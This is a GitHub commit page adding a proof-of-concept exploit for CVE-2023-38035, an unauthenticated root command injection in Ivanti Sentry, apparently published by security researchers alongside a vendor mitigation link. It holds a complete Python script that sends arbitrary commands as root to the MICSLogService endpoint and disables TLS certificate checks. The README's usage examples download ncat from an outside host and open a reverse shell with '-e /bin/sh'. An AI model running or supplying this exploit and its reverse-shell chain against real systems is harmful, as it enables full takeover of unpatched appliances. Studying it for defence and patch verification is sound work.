Skip to content

Commit 13a807c

Browse files
Added POC
1 parent 5d91750 commit 13a807c

File tree

3 files changed

+63
-2
lines changed

3 files changed

+63
-2
lines changed

CVE-2023-38035.py

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
from pyhessian.client import HessianProxy
2+
from http.client import HTTPSConnection
3+
import ssl
4+
import sys
5+
import argparse
6+
import requests
7+
import urllib3
8+
urllib3.disable_warnings()
9+
10+
11+
# Backup original constructor
12+
_original_https_init = HTTPSConnection.__init__
13+
14+
def patched_https_init(self, *args, **kwargs):
15+
# If context is not provided, use unverified context
16+
if 'context' not in kwargs:
17+
kwargs['context'] = ssl._create_unverified_context()
18+
_original_https_init(self, *args, **kwargs)
19+
20+
21+
def exploit(base_url, command):
22+
# Define the Hessian service endpoint
23+
service_url = f"{base_url}/mics/services/MICSLogService"
24+
25+
r = requests.get(service_url, verify=False)
26+
if r.status_code != 405:
27+
print('[-] Vulnerable endpoint was not reachable - bailing')
28+
sys.exit()
29+
30+
# Monkey-patch the constructor
31+
HTTPSConnection.__init__ = patched_https_init
32+
33+
dto = {
34+
"command": command,
35+
"isRoot": True,
36+
}
37+
38+
# Create a Hessian proxy for the service
39+
proxy = HessianProxy(service_url)
40+
41+
# Call a method on the Hessian service:
42+
details = proxy.uploadFileUsingFileInput(dto, None)
43+
if details:
44+
print('[+] Successfully executed command on target!')
45+
46+
if __name__ == "__main__":
47+
parser = argparse.ArgumentParser()
48+
parser.add_argument('-u', '--url', help='The URL of the target', required=True)
49+
parser.add_argument('-c', '--cmd', help='The command to run', required=True)
50+
args = parser.parse_args()
51+
52+
exploit(args.url, args.cmd)

README.md

+11-2
Original file line numberDiff line numberDiff line change
@@ -6,13 +6,22 @@ A technical root cause analysis of the vulnerability can be found on our blog:
66
https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive
77

88
## Summary
9-
This POC abuses an unauthenticated command injection to obtain a shell as the root user
9+
This POC abuses an unauthenticated command injection to execute arbitrary commands as the root user.
10+
11+
The execution context does not allow for command piping, and the system does not ship with easily abusable binaries, so commands can be chained to download a static ncat from somewhere like https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat.
1012

1113
## Usage
1214
```plaintext
13-
15+
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'
16+
[+] Successfully executed command on target!
17+
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'chmod +x /tmp/ncat'
18+
[+] Successfully executed command on target!
19+
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'
20+
[+] Successfully executed command on target!
1421
```
1522

23+
![Shell](shell.png)
24+
1625
## Mitigations
1726
Update to the latest version according to the instructions within the Ivanti Advisory
1827
* https://forums.ivanti.com/s/article/KB-API-Authentication-Bypass-on-Sentry-Administrator-Interface-CVE-2023-38035?language=en_US

shell.png

13.5 KB
Loading

0 commit comments

Comments
 (0)